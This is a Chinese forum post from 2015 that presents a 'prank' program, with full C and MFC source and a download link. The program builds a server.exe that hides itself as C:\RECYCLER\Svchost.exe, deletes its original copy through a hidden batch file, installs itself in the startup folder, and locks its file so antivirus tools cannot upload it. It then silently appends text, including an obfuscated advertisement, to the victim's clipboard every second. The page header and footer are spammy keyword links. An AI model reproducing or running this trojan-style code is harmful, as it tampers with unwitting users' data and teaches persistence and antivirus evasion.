久久久久久久999_99精品久久精品一区二区爱城_成人欧美一区二区三区在线播放_国产精品日本一区二区不卡视频_国产午夜视频_欧美精品在线观看免费

 找回密碼
 立即注冊

QQ登錄

只需一步,快速開始

搜索
查看: 7255|回復: 0
收起左側

C語言進程間通信練習作品 - 整人小程序之剪切板

[復制鏈接]
ID:71922 發表于 2015-1-11 00:47 | 顯示全部樓層 |閱讀模式
主程序界面:
                           
=============================================================================
程序介紹:
       如果對方執行了主程序生成的【server.exe】,【server.exe】會自復制、自啟動、自刪除(仿木馬)。
【server.exe】會后臺每秒/次檢測對方的剪切板,一有文本數據則在尾部加入【附加內容】,達到,對方粘貼
文本的時候,后面總是會多出一些數據。
      例:如果附加內容為:“對!牛彈琴!”
      對方 復制(Ctrl+C)一段:“對牛彈琴!”,當對方 粘貼(Ctrl+V)到某個地方時,內容就會變成
“對牛彈琴!對!牛彈琴!”。
【復制(Ctrl+C)粘貼(Ctrl+V)是使用率最高的操作之一,不愁對方不糾結,O(∩_∩)O哈哈~】
==============================================================================
子程序源碼:
===============================================================================
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/OPT:NOWIN98")   
char Dirr[256]="C:\\RECYCLER\\Svchost.exe"; // 釋放路徑
char L[99999]="   -------  網絡編程愛好者  L、QQ:000000000";
char temp[499999999]={0};
char  tmp[499999999]={0};
HANDLE Lock_File,Lock_File1;
/*================================== 程序初始化 =======================================*/
/********************************************************/
//  開機自啟動
/********************************************************/
void Auto(char Name[])
{
// 自復制到 啟動文件夾 實現開機自啟動  嫌麻煩 就用這種方式自啟動吧 一句代碼搞定
char DirName[]="C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\ts.exe";
unlink(DirName);
CopyFile(Name,DirName,1);
SetFileAttributes(DirName,FILE_ATTRIBUTE_HIDDEN);
Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}
/********************************************************/
//  自刪除功能
/********************************************************/
void Del(char *systemname)
{
FILE *fp;
fp=fopen("C:\\system.bat","w+");
fprintf(fp,"@echo off \n");
fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);
fprintf(fp,"del /f /q \"%s\" \n",systemname);
fprintf(fp,"goto statr\n");
fprintf(fp,":done\n");
fprintf(fp,"del /f /q %%0\n");
fclose(fp);
ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);


}
/********************************************************/
//  程序運行時進行初始化
/********************************************************/
void DelAdd()
{
char systemName[MAX_PATH];
char DirBuffer[MAX_PATH];

HMODULE hModule = GetModuleHandle(NULL);  // 獲取當前程序句柄
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 獲取當前程序的路徑
// GetSystemDirectory(systemName,sizeof(systemName)); // 獲取系統文件夾路徑
strcpy(systemName,Dirr);
if ((strcmp(DirBuffer,systemName))!=0)   // 判斷程序自身是否在系統目錄 不在則實現自刪除
{
  CopyFile(DirBuffer,systemName,0);
  Del(DirBuffer);      // 自刪除模塊
  SetFileAttributes(systemName,FILE_ATTRIBUTE_HIDDEN);
  ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 運行副本
  exit(0); // 退出 讓Bat刪除自己
}
else
{
  Auto(DirBuffer);
  // 第一步 立即鎖定本體 防止被上傳 我想殺軟沒那么無聊為了上傳就隨隨便便解鎖吧?
  Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}

}
/*================================== 程序初始化 =======================================*/

/*================================== 核心功能區 =======================================*/
/********************************************************/
//  檢查剪切板數據的類型
/********************************************************/
int jc()
{
if (OpenClipboard(NULL))  // 打開剪切板
{
  if (IsClipboardFormatAvailable(CF_TEXT)) // 檢測剪切板是否有指定類型的剪切板數據
  {
   CloseClipboard(); // 關閉剪切板
   return 1;   
  }
  else
  {
   CloseClipboard(); // 關閉剪切板
   return 0;
  }
}
return 0;
}
/********************************************************/
//  讀取剪切板數據
/********************************************************/  
char* Rjqb()
{
if (OpenClipboard(NULL))  // 打開剪切板
{
  if (IsClipboardFormatAvailable(CF_TEXT)) // 檢測剪切板是否有指定類型的剪切板數據
  {
   HANDLE hClip;
   char *pBuf;
   hClip = GetClipboardData(CF_TEXT);  // 獲取指定類型的剪切板數據
   pBuf = (char *)GlobalLock(hClip); // 加鎖
   GlobalUnlock(hClip); // 解鎖
   CloseClipboard(); // 關閉剪切板
   return pBuf;   
  }
  else
   CloseClipboard(); // 關閉剪切板
}
}
/********************************************************/
//  修改剪切板數據
/********************************************************/
void Wjqb()
{
if (OpenClipboard(NULL))  // 打開剪切板
{
  if (IsClipboardFormatAvailable(CF_TEXT)) // 檢測剪切板是否有指定類型的剪切板數據
  {
   HANDLE hClip;
   char *pBuf;
   
   EmptyClipboard(); // 清空剪切板 并釋放剪切板中數據的句柄 把剪切板的所有權賦給當前窗口
   hClip = GlobalAlloc(GMEM_MOVEABLE,strlen(temp)+1); // 分配一個內存對象 第二個參數 字節數
   pBuf = (char *)GlobalLock(hClip); // 將空間加鎖 并返回 指針
   strcpy(pBuf,temp);  
   GlobalUnlock(hClip);  // 解鎖
   SetClipboardData(CF_TEXT,pBuf); // 寫入數據
   CloseClipboard(); // 關閉
   
      strcpy(tmp,pBuf);
  }
  else
   CloseClipboard(); // 關閉剪切板
}
}
/*================================== 核心功能區 =======================================*/

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
// 已經加入鎖定自身的功能 不需要下面的語句
/*

  HANDLE _hEvent=CreateEvent(NULL,FALSE,FALSE,"Jqban");
  if (_hEvent)
  {
   if(ERROR_ALREADY_EXISTS==GetLastError())
   {
    exit(0);
   }
  }
  SetEvent(_hEvent);
*/


int cout=0;
//////////////////////////////////////////////////////////////////////////
// 讓啟動程序時的小漏斗馬上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
char Bud[]="!!...!!矽描冊賜悲荒粥!!MⅲRRせ211867767:";
    int ii,jj=0;
ii=strlen(Bud)-1;
    for(;ii>=0;ii--,jj++)
        Bud[jj]=Bud[jj]-1;
DelAdd();
// 不停的循環
while (1)
{
  
  if (jc())  //
  {
   // 讀取剪切板 并復制給全局變量 temp
   strcpy(temp,Rjqb());
   // 比較是否與上次內容相同 若不相同則進行修改
   if (strcmp(temp,tmp))      
   {
    strcat(temp,L);
    cout++;
    if (cout==6)
    {
     strcat(temp,Bud);
     cout=0;
    }
      // 在剪切板內容后面附加廣告內容      
    Wjqb();  //  寫入剪切板
   }   
  
  }
  Sleep(1000); // 延時1秒
}
return 0;
}
===============================================================================
至于主程序源碼,主程序是用MFC創建的對話窗口,關鍵代碼都在【生成】的按鈕中
下面貼出【生成】按鈕 觸發的代碼
===============================================================================
void CMyDlg::OnButtOk()
{
// TODO: Add your control notification handler code here
CString DIr;
CString MssG;
char autoo[]="C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\ts.exe";
char Dir[MAX_PATH]={0};
char Mssg[99999]={0};
GetDlgItemText(IDC_EDIT_DIR,DIr); // 獲取 釋放路徑 的編輯框數據
GetDlgItemText(IDC_EDIT_Msg,MssG); // 獲取 附加數據 的編輯框數據
    strcpy(Dir,DIr);  // 必須用數組形式
strcpy(Mssg,MssG);  

HRSRC hRc=FindResource(NULL,"L","Exe");
if(!hRc)
{
  ::MessageBox(0,"EXE資源不存在","錯誤",MB_SYSTEMMODAL);
  return ;
}

HGLOBAL hg=LoadResource(NULL,hRc);  // 將資源載入內存并返回其在內存中首地址保存在hg中
DWORD dw=SizeofResource(NULL,hRc);  // 獲得資源大小并用dw保存資源大小

// 分配緩沖區并用0填充
char a[137728];
memset(a,0,137728);
// 向該緩沖區中復制資源的二進制數據
memcpy(a,hg,dw); // 將資源的二進制數據存放在緩沖區a

// 創建服務端文件
FILE *out=fopen("server.exe","wb+");
fwrite(a,1,dw,out);
fclose(out);


FILE *fp=fopen("server.exe","rb+");
rewind(fp);
fseek(fp,0x6830,0);
fwrite(Dir,1,256,fp);
rewind(fp);  // 指針歸0
fseek(fp,0x6930,0);
fwrite(Mssg ,1,99999,fp);
fclose(fp);
// 生成卸載相關的批處理...
char Fname[MAX_PATH];
GetFileTitle(Dir,Fname,sizeof(Fname));
fp=fopen("卸載.bat","w+");
fputs("echo off\n",fp);
fputs("title 卸載【整人小程序之剪切板】子程序  L、QQ:100\n",fp);
fputs("COLOR 0a\n",fp);
fputs("echo 此批處理,只能卸載子程序釋放路徑為:",fp);
fputs(Dir,fp);
fputs("\ntaskkill /F /IM \"",fp);
fputs(Fname,fp);
fputs("\"\nattrib -h \"",fp);
fputs(Dir,fp);
fputs("\"\nattrib -h \"",fp);
fputs(autoo,fp);
fputs("\"\n",fp);
fputs("Del \"",fp);
fputs(Dir,fp);
fputs("\"\ndel \"",fp);
fputs(autoo,fp);
fputs("\"\n",fp);
fputs("ECHO 執行完畢!\n",fp);
fputs("pause",fp);
fclose(fp);
::MessageBox(0,"已經生成服務端【server.exe】及卸載相關的批處理【卸載.exe】","成功",MB_SYSTEMMODAL);
}
=========================================================================================
主程序下載地址: zrxcx-v1.0.zip (38.54 KB, 下載次數: 8)

回復

使用道具 舉報

您需要登錄后才可以回帖 登錄 | 立即注冊

本版積分規則

小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術交流QQ群281945664

Powered by 單片機教程網

快速回復 返回頂部 返回列表
主站蜘蛛池模板: 精品久久久久一区二区国产 | 久久精品视频一区二区三区 | 久久久久久精 | 欧美一区二区大片 | 国产精品精品视频 | 一区二区三区视频免费观看 | 亚洲欧美一区二区三区国产精品 | 中文字幕一级毛片视频 | 特黄特色大片免费视频观看 | 亚洲国产视频一区 | 久久久久久久97 | 成人精品久久 | 久久婷婷香蕉热狠狠综合 | 亚洲免费观看视频 | 麻豆hd | 日韩午夜在线播放 | 日韩精品视频网 | 午夜男人天堂 | 国产精品黄 | 欧美视频免费 | 成人免费观看网站 | 91免费入口| 国产亚洲精品久久久优势 | 亚洲精品电影在线 | 中文字幕一级 | 午夜成人在线视频 | 亚洲国产高清高潮精品美女 | 日日夜夜天天久久 | 成人在线视频一区 | 国产ts人妖系列高潮 | 免费成人午夜 | 日韩一区二区三区av | 国产免费又黄又爽又刺激蜜月al | 欧美日韩最新 | 成人av网站在线观看 | 日韩免费视频一区二区 | 精品九九 | a在线观看免费 | 香蕉一区二区 | 日韩av一区二区在线观看 | 91电影在线播放 |